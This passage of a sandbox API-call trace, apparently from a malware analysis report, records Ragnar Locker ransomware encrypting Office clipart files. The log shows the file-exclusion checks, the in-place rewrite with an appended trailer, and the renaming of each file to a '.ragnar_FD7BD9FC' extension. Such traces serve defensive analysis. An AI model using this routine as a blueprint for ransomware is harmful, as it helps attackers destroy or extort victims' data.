lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.663] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.663] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.663] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.663] GetProcessHeap () returned 0x580000 [0092.663] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.663] CloseHandle (hObject=0xf4) returned 1 [0092.663] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" [0092.663] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.ragnar_FD7BD9FC" [0092.663] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.664] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1 [0092.664] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.664] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00126_.WMF" | out: lpString1="TR00126_.WMF") returned="TR00126_.WMF" [0092.664] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF") returned=".WMF" [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="autorun.inf") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="boot.ini") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="bootfont.bin") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="bootsect.bak") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="bootmgr") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="bootmgr.efi") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="desktop.ini") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="iconcache.db") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="ntldr") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="ntuser.dat") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="ntuser.ini") returned 1 [0092.664] lstrcmpiW (lpString1="TR00126_.WMF", lpString2="thumbs.db") returned 1 [0092.665] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.665] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.665] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.665] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.665] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.665] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.665] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf")) returned 0x20 [0092.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.665] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4660) returned 1 [0092.665] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x122b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.665] GetProcessHeap () returned 0x580000 [0092.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.665] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.667] VirtualAlloc (lpAddress=0x0, dwSize=0x1234, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.667] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.667] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1234, lpOverlapped=0x0) returned 1 [0092.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.671] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1234, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.671] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1234, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1234, lpOverlapped=0x0) returned 1 [0092.671] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1234, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.671] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.671] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.671] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.672] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.672] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.672] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.672] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.672] GetProcessHeap () returned 0x580000 [0092.672] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.672] CloseHandle (hObject=0xf4) returned 1 [0092.672] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" [0092.672] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.ragnar_FD7BD9FC" [0092.672] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.673] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1 [0092.673] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.673] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00172_.WMF" | out: lpString1="TR00172_.WMF") returned="TR00172_.WMF" [0092.673] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF") returned=".WMF" [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="autorun.inf") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="boot.ini") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="bootfont.bin") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="bootsect.bak") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="bootmgr") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="bootmgr.efi") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="desktop.ini") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="iconcache.db") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="ntldr") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="ntuser.dat") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="ntuser.ini") returned 1 [0092.673] lstrcmpiW (lpString1="TR00172_.WMF", lpString2="thumbs.db") returned 1 [0092.673] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.673] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.673] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.673] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.673] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.674] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.674] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf")) returned 0x20 [0092.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.674] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9052) returned 1 [0092.674] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2353, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.674] GetProcessHeap () returned 0x580000 [0092.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.674] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.676] VirtualAlloc (lpAddress=0x0, dwSize=0x235c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.676] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.676] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x235c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x235c, lpOverlapped=0x0) returned 1 [0092.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.677] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x235c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.677] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x235c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x235c, lpOverlapped=0x0) returned 1 [0092.677] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x235c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.677] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.677] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x235c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.678] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.678] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.678] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.678] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.678] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.678] GetProcessHeap () returned 0x580000 [0092.678] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.678] CloseHandle (hObject=0xf4) returned 1 [0092.678] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" [0092.678] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.ragnar_FD7BD9FC" [0092.678] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.679] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x0, dwReserved1=0x0, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1 [0092.679] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.679] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TR00178_.WMF" | out: lpString1="TR00178_.WMF") returned="TR00178_.WMF" [0092.679] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF") returned=".WMF" [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="autorun.inf") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="boot.ini") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="bootfont.bin") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="bootsect.bak") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="bootmgr") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="bootmgr.efi") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="desktop.ini") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="iconcache.db") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="ntldr") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="ntuser.dat") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="ntuser.ini") returned 1 [0092.679] lstrcmpiW (lpString1="TR00178_.WMF", lpString2="thumbs.db") returned 1 [0092.679] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.679] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.679] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.679] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.679] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.679] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.679] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf")) returned 0x20 [0092.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.680] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8514) returned 1 [0092.680] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2139, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.680] GetProcessHeap () returned 0x580000 [0092.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.680] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2142, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.682] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2142, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2142, lpOverlapped=0x0) returned 1 [0092.683] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.683] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2142, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.683] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2142, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2142, lpOverlapped=0x0) returned 1 [0092.683] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2142, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.683] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.683] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2142, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.683] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.684] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.684] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.684] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.684] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, 